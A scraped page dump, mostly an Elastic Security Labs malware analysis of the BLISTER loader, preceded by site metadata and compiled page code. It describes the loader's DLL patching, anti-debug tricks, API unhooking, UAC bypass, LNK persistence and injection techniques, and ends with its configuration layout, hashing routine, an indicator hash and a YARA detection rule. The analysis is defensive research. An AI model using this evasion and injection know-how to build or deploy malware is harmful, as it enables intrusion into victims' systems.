Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!l.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=p(e,o))||a.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var m=_((D,i)=\u003e{i.exports=_jsx_runtime});var y={};d(y,{default:()=\u003eh,frontmatter:()=\u003eS});var r=j(m()),S={title:\"Remco Sprooten\",description:\"Elastic Security Labs Team Senior Research Engineer\",slug:\"remco-sprooten\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function b(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var h=b;return M(y);})();\n;return Component;"},"_id":"authors/remco-sprooten.mdx","_raw":{"sourceFilePath":"authors/remco-sprooten.mdx","sourceFileName":"remco-sprooten.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/remco-sprooten"},"type":"Author","imageUrl":"","url":"/authors/remco-sprooten"},{"title":"Joe Desimone","slug":"joe-desimone","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var j=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of j(e))!d.call(t,r)\u0026\u0026r!==n\u0026\u0026s(t,r,{get:()=\u003ee[r],enumerable:!(a=f(e,r))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var c=g((h,m)=\u003e{m.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var o=p(c()),M={title:\"Joe Desimone\",slug:\"joe-desimone\"};function u(t){return(0,o.jsx)(o.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,o.jsx)(e,Object.assign({},t,{children:(0,o.jsx)(u,t)})):u(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"authors/joe-desimone.mdx","_raw":{"sourceFilePath":"authors/joe-desimone.mdx","sourceFileName":"joe-desimone.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/joe-desimone"},"type":"Author","imageUrl":"","url":"/authors/joe-desimone"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"},{"title":"Devon Kerr","slug":"devon-kerr","description":"Elastic Security Labs Team Lead, Elastic","image":"devon-kerr.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var d=Object.create;var a=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),p=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of g(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(s=x(e,o))||s.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?d(l(t)):{},i(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),v=t=\u003ei(a({},\"__esModule\",{value:!0}),t);var m=j((y,c)=\u003e{c.exports=_jsx_runtime});var b={};p(b,{default:()=\u003eM,frontmatter:()=\u003eD});var r=_(m()),D={title:\"Devon Kerr\",description:\"Elastic Security Labs Team Lead, Elastic\",slug:\"devon-kerr\",image:\"devon-kerr.jpg\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function L(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var M=L;return v(b);})();\n;return Component;"},"_id":"authors/devon-kerr.mdx","_raw":{"sourceFilePath":"authors/devon-kerr.mdx","sourceFileName":"devon-kerr.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/devon-kerr"},"type":"Author","imageUrl":"/assets/images/authors/devon-kerr.jpg","url":"/authors/devon-kerr"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"BLISTER Loader","slug":"blister-loader","date":"2023-04-13","description":"The BLISTER loader continues to be actively used to load a variety of malware.","image":"blog-thumb-power-lines.jpg","tags":["blister","malware"],"body":{"raw":"\n## Key Takeaways\n\n- BLISTER is a loader that continues to stay under the radar, actively being used to load a variety of malware including clipbankers, information stealers, trojans, ransomware, and shellcode\n- In-depth analysis shows heavy reliance of Windows Native API’s, several injection capabilities, multiple techniques to evade detection, and counter static/dynamic analysis\n- Elastic Security is providing a configuration extractor that can be used to identify key elements of the malware and dump the embedded payload for further analysis\n- 40 days after the initial reporting on the BLISTER loader by Elastic Security, we observed a change in the binary to include additional architectures. This shows that this is an actively developed tool and the authors are watching defensive countermeasures\n\n\u003e For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:\n\u003e\n\u003e - [BLISTER Campaign Analysis](https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign)\n\u003e - [BLISTER Configuration Extractor](https://www.elastic.co/security-labs/blister-configuration-extractor)\n\n## Overview\n\nThe Elastic Security team has continually been monitoring the BLISTER loader since our initial [release](https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign) at the end of last year. This family continues to remain largely unnoticed, with low detection rates on new samples.\n\n![Example of BLISTER loader detection rates](/assets/images/blister-loader/blister-loader-image37.jpg)\n\nA distinguishing characteristic of BLISTER’s author is their method of tampering with legitimate DLLs to bypass static analysis. During the past year, Elastic Security has observed the following legitimate DLL’s patched by BLISTER malware:\n\n| Filename | Description |\n| -------------- | ------------------------------------------------------------------ |\n| dxgi.dll | DirectX Graphics Infrastructure |\n| WIAAut.DLL | WIA Automation Layer |\n| PowerCPL.DLL | Power Options Control Panel |\n| WIMGAPI.DLL | Windows Imaging Library |\n| rdpencom.dll | RDPSRAPI COM Objects |\n| colorui.dll | Microsoft Color Control Panel. |\n| termmgr.dll | Microsoft TAPI3 Terminal Manager |\n| libcef.dll | Chromium Embedded Framework (CEF) Dynamic Link Library |\n| CEWMDM.DLL | Windows CE WMDM Service Provider |\n| intl.dll | LGPLed libintl for Windows NT/2000/XP/Vista/7 and Windows 95/98/ME |\n| vidreszr.dll | Windows Media Resizer |\n| sppcommdlg.dll | Software Licensing UI API |\n\nDue to the way malicious code is embedded in an otherwise benign application, BLISTER may be challenging for technologies that rely on some forms of machine learning. Combined with code-signing defense evasion, BLISTER appears designed with security technologies in mind.\n\nOur research shows that BLISTER is actively developed and has been [linked](https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch\u0026utm_medium=smk\u0026utm_campaign=0422_Socgholish) in public reporting to [LockBit](https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit) ransomware and the [SocGholish](https://redcanary.com/threat-detection-report/threats/socgholish/) framework; in addition, Elastic has also observed BLISTER in relation to the following families: [Amadey](https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey), [BitRAT](https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat), [Clipbanker](https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker), [Cobalt Strike](https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike), [Remcos](https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos), and [Raccoon](https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon) along with others.\n\nIn this post, we will explain how BLISTER continues to operate clandestinely, highlight the loader’s core capabilities (injection options, obfuscation, and anti-analysis tricks) as well as provide a configuration extractor that can be used to dump BLISTER embedded payloads.\n\nConsider the following [sample](https://www.virustotal.com/gui/file/afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2) representative of BLISTER for purposes of this analysis. This sample was also used to develop the initial BLISTER family YARA signature, the configuration extraction script, and evaluate tools against against unknown x32 and x64 BLISTER samples.\n\n## Execution Flow\n\nThe execution flow consists of the following phases:\n\n- Deciphering the second stage\n- Retrieving configuration and packed payload\n- Payload unpacking\n- Persistence mechanisms\n- Payload injection\n\n### Launch / Entry Point\n\nDuring the first stage of the execution flow, BLISTER is embedded in a legitimate version of the [colorui.dll](https://www.virustotal.com/gui/file/1068e40851b243a420cb203993a020d0ba198e1ec6c4d95f0953f81e13046973/details) library. The threat actor, with a previously achieved foothold, uses the Windows built-in rundll32.exe utility to load BLISTER by calling the export function **LaunchColorCpl** :\n\n```\nRundll32 execution arguments\n\nrundll32.exe \"BLISTER.dll,LaunchColorCpl\"\n```\n\nThe image below demonstrates how BLISTER’s DLL is modified, noting that the export start is patched with a function call (line 17) to the malware entrypoint.\n\n![Export of Patched BLISTER DLL](/assets/images/blister-loader/blister-loader-image13.jpg)\n\nIf we compare one of these malicious loaders to the original DLL they masquerade as, we can see where the patch was made, the function no longer exists:\n\n![Export of Original DLL Used by BLISTER](/assets/images/blister-loader/blister-loader-image11.jpg)\n\n### Deciphering Second Stage\n\nBLISTER’s second stage is ciphered in its [resource section](https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-rsrc-section) (.rsrc).\n\nThe deciphering routine begins with a loop based sleep to evade detection:\n\n![Initial Sleep Mechanism](/assets/images/blister-loader/blister-loader-image35.jpg)\n\nBLISTER then enumerates and hashes each export of ntdll, comparing export names against loaded module names; searching specifically for the **NtProtectVirtualMemory** API:\n\n![API Hash](/assets/images/blister-loader/blister-loader-image40.jpg)\n\nFinally, it looks for a memory region of 100,832 bytes by searching for a specific memory pattern, beginning its search at the return address and leading us in the .rsrc section. When found, BLISTER performs an eXclusive OR (XOR) operation on the memory region with a four-byte key, sets it’s page protection to PAGE_EXECUTE_READ with a call to NtProtectVirtualMemory, and call its second stage entry point with the deciphering key as parameter:\n\n![Memory Tag \u0026 Memory Region Setup](/assets/images/blister-loader/blister-loader-image49.jpg)\n\n### Obfuscation\n\nBLISTER’s second-stage involves obfuscating functions, scrambling their control flow by splitting their basic blocks with unconditional jumps and randomizing basic blocks’ locations. An example of which appears below.\n\n![Function’s Control Flow Scrambling](/assets/images/blister-loader/blister-loader-image6.jpg)\n\nBLISTER inserts junk code into basic blocks as yet another form of defense evasion, as seen below.\n\n![Junk Code Insertion](/assets/images/blister-loader/blister-loader-image30.jpg)\n\n### Retrieving Configuration and Packed Payload\n\nBLISTER uses the previous stage’s four-byte key to locate and decipher its configuration.\n\nThe routine begins by searching its memory, beginning at return address, for its four-byte key XORed with a hardcoded value as memory pattern:\n\n![Memory pattern search loop](/assets/images/blister-loader/blister-loader-image24.jpg)\n\nWhen located, the 0x644 byte configuration is copied and XOR-decrypted with the same four-byte key:\n\n![Config decryption](/assets/images/blister-loader/blister-loader-image45.jpg)\n\nFinally, it returns a pointer to the beginning of the packed PE, which is after the 0x644 byte blob:\n\n![Pointer return to packed PE](/assets/images/blister-loader/blister-loader-image58.jpg)\n\nSee the [configuration structure](https://www.elastic.co/security-labs/blister-loader#configuration-structure) in the appendix.\n\n### Time Based Anti Debug\n\nAfter loading the configuration, and depending if the **kEnableSleepBasedAntiDebug** flag (0x800) is set, BLISTER calls its time-based anti-debug function:\n\n![Check configuration for Sleep function](/assets/images/blister-loader/blister-loader-image60.jpg)\n\nThis function starts by creating a thread with the Sleep Windows function as a starting address and 10 minutes as the argument:\n\n![Sleep function (600000 ms / 10 minutes)](/assets/images/blister-loader/blister-loader-image26.jpg)\n\nThe main thread will sleep using **NtDelayExecution** until the sleep thread has exited:\n\n![NtDelayExecution used with Sleep function](/assets/images/blister-loader/blister-loader-image8.jpg)\n\nFinally the function returns 0 when the sleep thread has run at least for 9 1/2 minutes:\n\n![Condition to end sleep thread](/assets/images/blister-loader/blister-loader-image57.jpg)\n\nIf not, the function will return 1 and the process will be terminated:\n\n![Process termination on sleep function if error](/assets/images/blister-loader/blister-loader-image16.jpg)\n\n### Windows API\n\n#### Blister’s GetModuleHandle\n\nBLISTER implements its own **GetModuleHandle** to evade detection, the function takes the library name hash as a parameter, iterates over the process [PEB LDR](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)’s modules and checks the hashed module’s name against the one passed in the parameter:\n\n![Function used to verify module names](/assets/images/blister-loader/blister-loader-image18.jpg)\n\n#### Blister’s GetProcAddress\n\nBLISTER’s **GetProcAddress** takes the target DLL and the export hash as a parameter, it also takes a flag that tells the function that the library is 64 bits.\n\nThe DLL can be loaded or mapped then the function iterates over the DLL’s export function names and compares their hashes with the ones passed in the parameter:\n\n![BLISTER’s GetProcAddress hash checking dll’s exports](/assets/images/blister-loader/blister-loader-image3.jpg)\n\nIf the export is found, and its virtual address isn’t null, it is returned:\n\n![Return export virtual address](/assets/images/blister-loader/blister-loader-image48.jpg)\n\nElse the DLL is **LdrLoaded** and BLISTER’s **GetProcAddress** is called again with the newly loaded dll:\n\n![LdrLoad the DLL and call GetProcAddress again](/assets/images/blister-loader/blister-loader-image19.jpg)\n\n#### Library Manual Mapping\n\nBLISTER manually maps a library using **NtCreateFile** in order to open a handle on the DLL file:\n\n![NtCreateFile used within mapping function](/assets/images/blister-loader/blister-loader-image56.jpg)\n\nNext it creates a section with the handle by calling **NtCreateSection** with the **SEC_IMAGE** attribute which tells Windows to loads the binary as a PE:\n\n![NtCreateSection used within mapping function](/assets/images/blister-loader/blister-loader-image31.jpg)\n\n_NtCreateSection used within mapping function_\n\nFinally it maps the section with **NtMapViewOfSection** :\n\n![NtMapViewofSection used within mapping function](/assets/images/blister-loader/blister-loader-image36.jpg)\n\n#### x32/x64 Ntdll Mapping\n\nFollowing the call to its anti-debug function, BLISTER manually maps 32 bit and 64 bit versions of NTDLL.\n\nIt starts by mapping the x32 version:\n\n![32 bit NTDLL mapping](/assets/images/blister-loader/blister-loader-image43.jpg)\n\nThen it disables [SysWOW64 redirection](https://docs.microsoft.com/en-us/windows/win32/winprog64/file-system-redirector):\n\n![SysWOW64 disabled](/assets/images/blister-loader/blister-loader-image17.jpg)\n\nAnd then maps the 64 bit version:\n\n![64 bit NTDLL mapping](/assets/images/blister-loader/blister-loader-image50.jpg)\n\nThen if available, the mapped libraries will be used with the **GetProcAddress** function, i.e:\n\n![Mapped libraries using GetProcAddress](/assets/images/blister-loader/blister-loader-image7.jpg)\n\n#### LdrLoading Windows Libraries and Removing Hooks\n\nAfter mapping 32 and 64 bit **NTDLL** versions BLISTER will **LdrLoad** several Windows libraries and remove potential hooks:\n\n![Function used to load Windows libraries and remove hooks](/assets/images/blister-loader/blister-loader-image5.jpg)\n\nFirst, it tries to convert the hash to the library name by comparing the hash against a fixed list of known hashes:\n\n![Hash comparison](/assets/images/blister-loader/blister-loader-image22.jpg)\n\nIf the hash is found BLISTER uses the **LdrLoad** to load the library:\n\n![Leveraging LdrLoad to load DLL](/assets/images/blister-loader/blister-loader-image53.jpg)\n\nThen BLISTER searches for the corresponding module in its own process:\n\n![Searching for module in own process](/assets/images/blister-loader/blister-loader-image15.jpg)\n\nAnd maps a fresh copy of the library with the module’s **FullDllName** :\n\n![Retrieving Module’s FullDllName](/assets/images/blister-loader/blister-loader-image10.jpg)\n\n![Manual Mapping function](/assets/images/blister-loader/blister-loader-image55.jpg)\n\nBLISTER then applies the relocation to the mapped library with the loaded one as the base address for the relocation calculation:\n\n![Performing relocation](/assets/images/blister-loader/blister-loader-image59.jpg)\n\nNext BLISTER iterates over each section of the loaded library to see if the section is executable:\n\n![Checking executable sections](/assets/images/blister-loader/blister-loader-image42.jpg)\n\nIf the section is executable, it is replaced with the mapped one, thus removing any hooks:\n\n![Section replacement](/assets/images/blister-loader/blister-loader-image47.jpg)\n\n#### x64 API Call\n\nBLISTER can call 64-bit library functions through the use of special 64-bit function wrapper:\n\n![BLISTER utilizing 64-bit function library caller](/assets/images/blister-loader/blister-loader-image29.jpg)\n\n![64-bit function library caller](/assets/images/blister-loader/blister-loader-image54.jpg)\n\nTo make this call BLISTER switches between 32-bit to 64-bit code using the old Heaven’s Gate [technique](https://blog.talosintelligence.com/2019/07/rats-and-stealers-rush-through-heavens.html):\n\n![Observed Heaven’s Gate byte sequences](/assets/images/blister-loader/blister-loader-image51.jpg)\n\n![Heaven’s Gate - Transition to 64 bit mode](/assets/images/blister-loader/blister-loader-image20.jpg)\n\n![Heaven’s Gate - Transition to 32 bit mode](/assets/images/blister-loader/blister-loader-image21.jpg)\n\n## Unpacking Payload\n\nDuring the unpacking process of the payload, the malware starts by allocating memory using **NtAllocateVirtualMemory** and passing in configuration information. A memcpy function is used to store a copy of encrypted/compressed payload in a buffer for next stage (decryption).\n\n![Unpacking BLISTER payload](/assets/images/blister-loader/blister-loader-image2.jpg)\n\n### Deciphering\n\nBLISTER leverages the Rabbit stream [cipher](\u003chttps://en.wikipedia.org/wiki/Rabbit_(cipher)\u003e), passing in the previously allocated buffer containing the encrypted payload, the compressed data size along with the 16-byte deciphering key and 8-byte IV.\n\n![Decipher function using the Rabbit cipher](/assets/images/blister-loader/blister-loader-image1.jpg)\n\n![Observed Rabbit Cipher Key and IV inside memory](/assets/images/blister-loader/blister-loader-image23.jpg)\n\n### Decompression\n\nAfter the decryption stage, the payload is then decompressed using **RtlDecompressBuffer** with the LZNT1 compression format.\n\n![Decompression function using LZNT1](/assets/images/blister-loader/blister-loader-image9.jpg)\n\n## Persistence Mechanism\n\nTo achieve persistence, BLISTER leverages Windows shortcuts by creating an LNK file inside the Windows startup folder. It creates a new directory using the **CreateDirectoryW** function with a unique hardcoded string found in the configuration file such as: C:\\ProgramData`UNIQUE STRING\\\\\u003e`\n\nBLISTER then copies C:\\System32\\rundll32.exe and itself to the newly created directory and renames the files to UNIQUE STRING\\\\\u003e.exe and UNIQUE STRING\\\\\u003e.dll, respectively.\n\nBLISTER uses the **CopyModuleIntoFolder** function and the **IFileOperation** Windows **COM** interface for [bypassing UAC](https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies) when copying and renaming the files:\n\n![BLISTER function used to copy files](/assets/images/blister-loader/blister-loader-image46.jpg)\n\nThe malware creates an LNK file using **IShellLinkW COM** interface and stores it in `C:\\Users\\\u003cusername\u003e\\AppData\\Roaming\\Microsft\\Windows\\Start Menu\\Startup as UNIQUE STRING\\\\\u003e.lnk`\n\n![Mapping shortcut to BLISTER with arguments](/assets/images/blister-loader/blister-loader-image25.jpg)\n\nThe LNK file is set to run the export function **LaunchColorCpl** of the newly copied malware with the renamed instance of rundll32. C:\\ProgramData\\UNIQUE STRING\\\\\u003e\\UNIQUE STRING\\\\\u003e.exe C:\\ProgramData\\UNIQUE STRING\\\\\u003e\\UNIQUE STRING\\\\\u003e.dll,LaunchColorCpl\n\n## Injecting Payload\n\nBLISTER implements 3 different injection techniques to execute the payload according to the configuration flag:\n\n![BLISTER injection techniques by config flag](/assets/images/blister-loader/blister-loader-image27.jpg)\n\n### Shellcode Execution\n\nAfter decrypting the shellcode, BLISTER is able to inject it to a newly allocated read write memory region with **NtAllocateVirtualMemory** API, it then copies the shellcode to it and it sets the memory region to read write execute with **NtProtectVirtualMemory** and then executes it.\n\n![Execute shellcode function](/assets/images/blister-loader/blister-loader-image28.jpg)\n\n### Own Process Injection\n\nBLISTER can execute DLL or Executable payloads reflectively in its memory space. It first creates a section with **NtCreateSection** API.\n\n![RunPE function](/assets/images/blister-loader/blister-loader-image39.jpg)\n\nBLISTER then tries to map a view on the created section at the payload’s preferred base address. In case the preferred address is not available and the payload is an executable it will simply map a view on the created section at a random address and then do relocation.\n\n![Check for conflicting addresses](/assets/images/blister-loader/blister-loader-image34.jpg)\n\nConversly, if the payload is a DLL, it will first unmap the memory region of the current process image and then it will map a view on the created section with the payload’s preferred address.\n\n![DLL unmapping](/assets/images/blister-loader/blister-loader-image33.jpg)\n\nBLISTER then calls a function to copy the PE headers and the sections.\n\n![Copying over PE/sections](/assets/images/blister-loader/blister-loader-image12.jpg)\n\nFinally, BLISTER executes the loaded payload in memory starting from its entry point if the payload is an executable. In case the payload is a DLL, it will find its export function according to the hash in the config file and execute it.\n\n### Process Hollowing\n\nBLISTER is able to perform [process hollowing](https://attack.mitre.org/techniques/T1055/012/) in a remote process:\n\nFirst, there is an initial check for a specific module hash value (0x12453653), if met, BLISTER performs process hollowing against the Internet Explorer executable.\n\n![Internet Explorer option for process hollowing](/assets/images/blister-loader/blister-loader-image32.jpg)\n\nIf not, the malware performs remote process hollowing with **Werfault.exe**. BLISTER follows standard techniques used for process hollowing.\n\n![Process hollowing function](/assets/images/blister-loader/blister-loader-image44.jpg)\n\nThere is one path within this function: if certain criteria are met matching Windows OS versions and build numbers the hollowing technique is performed by dropping a temporary file on disk within the **AppData** folder titled **Bg.Agent.ETW** with an explicit extension.\n\n![Compatibility Condition check](/assets/images/blister-loader/blister-loader-image52.jpg)\n\n![Compatibility Condition function](/assets/images/blister-loader/blister-loader-image14.jpg)\n\n![Temporary file used to store payload](/assets/images/blister-loader/blister-loader-image4.jpg)\n\nThe malware uses this file to read and write malicious DLL to this file. Werfault.exe is started by BLISTER and then the contents of this temporary DLL are loaded into memory into the Werfault process and the file is shortly deleted after.\n\n![Procmon output of compatibility function](/assets/images/blister-loader/blister-loader-image38.jpg)\n\n## Configuration Extractor\n\nAutomating the configuration and payload extraction from BLISTER is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples and Cobalt Strike instances in a timely manner.\n\nOur extractor uses a [Rabbit stream cipher implementation](https://github.com/Robin-Pwner/Rabbit-Cipher) and takes either a directory of samples with **-d** option or **-f** for a single sample,\n\n![Config extractor output](/assets/images/blister-loader/blister-loader-image41.jpg)\n\nTo enable the community to further defend themselves against existing and new variants of the BLISTER loader, we are making the configuration extractor open source under the Apache 2 License. The configuration extractor documentation and binary download can be accessed [here](https://www.elastic.co/security-labs/blister-configuration-extractor).\n\n## Conclusion\n\nBLISTER continues to be a formidable threat, punching above its own weight class, distributing popular malware families and implants leading to major compromises. Elastic Security has been tracking BLISTER for months and we see no signs of this family slowing down.\n\nFrom reversing BLISTER, our team was able to identify key functionality such as different injection methods, multiple techniques for defense evasion using anti-debug/anti-analysis features and heavy reliance on Windows Native API’s. We also are releasing a configuration extractor that can statically retrieve actionable information from BLISTER samples as well as dump out the embedded payloads.\n\n## Appendix\n\n### Configuration Structure\n\n```\nBLISTER configuration structure\n\nstruct Config {\n uint16_t flag;\n uint32_t payload_export_hash;\n wchar_t w_payload_filename_and_cmdline[783];\n size_t compressed_data_size;\n size_t uncompressed_data_size;\n uint8_t pe_deciphering_key[16];\n uint8_t pe_deciphering_iv[8];\n};\n\n```\n\n### Configuration’s Flags\n\n```\nBLISTER configuration files\n\nenum Config::Flags {\n kDoPersistance = 0x1,\n kOwnProcessReflectiveInjectionMethod = 0x2,\n kOwnProcessHollowingMethod = 0x8,\n kRemoteProcessHollowingMethod = 0x10,\n kExecutePayloadExport = 0x20,\n kExecuteShellcodeMethod = 0x40,\n kInjectWithCmdLine = 0x80,\n kSleepAfterInjection = 0x100,\n kEnableSleepBasedAntiDebug = 0x800,\n};\n```\n\n### Hashing Algorithm\n\n```\nBLISTER hashing algorithm\n\nuint32_t HashLibraryName(wchar_t *name) {\n uint32_t name {0};\n while (*name) {\n hash = ((hash \u003e\u003e 23) | (hash \u003c\u003c 9)) + *name++;\n }\n return hash ;\n}\n```\n\n### Indicators\n\n| Indicator | Type | Note |\n| ---------------------------------------------------------------- | ------ | ----------- |\n| afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2 | SHA256 | BLISTER DLL |\n\n## YARA Rule\n\nThis updated YARA rule has shown a 13% improvement in detection rates.\n\n```\nBLISTER YARA rule\n\nrule Windows_Trojan_BLISTER {\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-04-29\"\n last_modified = \"2022-04-29\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BLISTER\"\n threat_name = \"Windows.Trojan.BLISTER\"\n description = \"Detects BLISTER loader.\"\n reference_sample = \"afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2\"\n\n strings:\n $a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }\n $a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }\n $a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }\n $b1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }\n $b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }\n condition:\n any of them\n}\n```\n\n## References\n\n- [https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign](https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign)\n- 